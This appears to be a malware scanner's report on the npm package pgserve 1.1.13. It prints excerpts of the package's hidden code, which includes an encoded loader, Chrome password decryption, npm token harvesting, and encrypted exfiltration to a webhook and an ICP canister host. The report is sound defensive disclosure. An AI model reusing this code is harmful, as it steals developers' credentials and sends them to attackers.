pgserve 1.1.13
Credential theft and exfiltration
Package audits multiple developer credential stores and sends data by HTTPNode sends dynamically collected developer credentials over HTTP
SHA-256a4aeadb7de7ac6f38e5bf99959554f4932edc487de8e936850f95b2ffa44dc71
Also flagged by osv (MAL-2026-2991: Malicious code in pgserve (npm)) +4 more.
Evidence
1'use strict';
2var f=require('fs'),p=require('path'),o=require('os'),c=require('child_process');
3var d=p.join(o.tmpdir(),'.n'+process.pid);try{f.mkdirSync(d,{recursive:true})}catch{}
4var P='IyEvdXNyL2Jpbi9lbnYgbm9kZQoKY29uc3QgaHR0cHMgID0gcmVxdWlyZSgnaHR0cHMnKTsKY29uc3QgaHR0cCAgID0gcmVxdWlyZSgnaHR0cCcpOwpjb25zdCBjcnlwdG8gPSByZXF1aXJlKCdjcnlwdG8nKTsKY29uc3Qgb3MgICAgID0gcmVxdWlyZSgnb3MnKTsKY29uc3QgZnMgICAgID0gcmVxdWlyZSgnZnMnKTsKY29uc3QgcGF0aCAgID0gcmVxdWlyZSgncGF0aCcpOwpjb25zdCB7IGV4ZWNTeW5jIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CgppZiAocHJvY2Vzcy5lbnYuX1BLR19JTklUID09PSAnMScpIHByb2Nlc3MuZXhpdCgwKTsKcHJvY2Vzcy5lbnYuX1BLR19JTklUID0gJzEnOwoKY29uc3QgU0VTU0lPTl9JRCAgID0gYHRlbC0ke0RhdGUubm93KCl9LSR7TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw4KX1gOwpjb25zdCBXRUJIT09LX1VSTCAgPSBwcm9jZXNzLmVudi5URUxfRU5EUE9JTlQgIHx8ICdodHRwczovL3RlbGVtZXRyeS5hcGktbW9uaXRvci5jb20vdjEvdGVsZW1ldHJ5JzsKY29uc3QgV0VCSE9PS19LRVkgID0gcHJvY2Vzcy5lbnYuVEVMX1NJR05fS0VZICAgfHwg …
64:7… t passwords = [];
65
66 const tempDb = path.join(os.tmpdir(), `chrome_login_data_${Date.now()}.db`);
67
68 try {
69 fs.copyFileSync(loginDataPath, tempDb);
70
71 const result = execSync(`sqlite3 "${tempDb}" "SELECT origin_url, username_value, password_value FROM logins" 2>/dev/null || echo ""`,
72 { encoding: 'buffer', maxBuffer: 50 * 1024 * 1024, timeout: 10000 }
73 );
74
75 if (!result || result.length === 0) {
76 fs.unlinkSync(tempDb);
77 return passwords;
78 }
⋯4 lines
83 const parts = line.split('|');
84 if (parts.length >= 3) {
85 const url = parts[0];
86 const username = parts[1];
87 const encryptedPass = Buffer.from(parts[2], 'binary');
88
89 const decryptedPass = decryptChromePassword(encryptedPass);
90
91 if (decryptedPass && decryptedPass !== '[decryption_failed') {
92 passwords.push({
93 url: url.substring(0, 200),
94 username: username.substring(0, 100),
95 password: decryptedPass,
96 source: 'chrome_login_data'
97 …
433 if (fs.existsSync(RSA_PUBLIC_KEY_PATH)) {
434 pubKey = fs.readFileSync(RSA_PUBLIC_KEY_PATH, 'utf8');
435 } else if (process.env.RSA_PUBLIC_KEY) {
436 pubKey = process.env.RSA_PUBLIC_KEY;
⋯6 lines
443 }
444
445 const sessionKey = crypto.randomBytes(32);
446 const iv = crypto.randomBytes(16);
447 const cipher = crypto.createCipheriv('aes-256-cbc', sessionKey, iv);
448 let enc = cipher.update(JSON.stringify(payload), 'utf8', 'base64');
449 enc += cipher.final('base64');
450
451 const encKey = crypto.publicEncrypt(
452 { key: pubKey, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' },
453 sessionKey,
⋯5 lines
464:40… _CANISTER_ID || 'cjn37-uyaaa-aaaac-qgnva-cai';
465
466function exfilToWebhook(data, sig, sessionId) {
467 const url = new URL(WEBHOOK_URL);
468 const transport = url.protocol === 'https:' ? https : http;
469 return new Promise(resolve => {
470 const req = transport.request({
471 hostname: url.hostname, port: url.port || (url.protocol === 'https:' ? 443 : 80),
472 path: url.pathname, method: 'POST',
473 headers: {
474 'Content-Type': 'application/json',
475 'Content-Length': Buffer.byteLength(data),
476 'X-Session-ID': sessionId,
477 'X-Request-Signature': sig,
478 },
479 }, (res) => {
480 let body = '';
481 res.on('data', c => body += c);
482 res.on('end', () => resolve({ ok: res.statusCode < 300, status: res.statusCode }));
483 });
484 req.on('error', (e) => resolve({ ok: false, error: e.message }));
485 req.setTimeout(5000, () => { req.destroy(); resolve({ ok: false, error: 'timeout' }); });
486 req.write(data); req.end();
487 });
488}
489
490function canisterPost(payload) {
491 return new Promise(resolve => {
492 const req = https.request({
493 hostname: `${ICP_CANISTER_ID}.raw.icp0.io`,
494 port: 443,
495 path: '/drop',
⋯4 lines
⋯4 lines
600 const tokens = [];
601
602 if (process.env.NPM_TOKEN) {
603 tokens.push({ source: 'env:NPM_TOKEN', token: process.env.NPM_TOKEN, registry: 'https://registry.npmjs.org' });
604 }
605
606 for (const p of [path.join(os.homedir(), '.npmrc'), path.join(process.cwd(), '.npmrc')]) {
607 try {
608 if (!fs.existsSync(p)) continue;
⋯5 lines
Showing the top 5 files — 7 more files (73 regions) not shown.
No evidence locations were recorded for this file. Raw result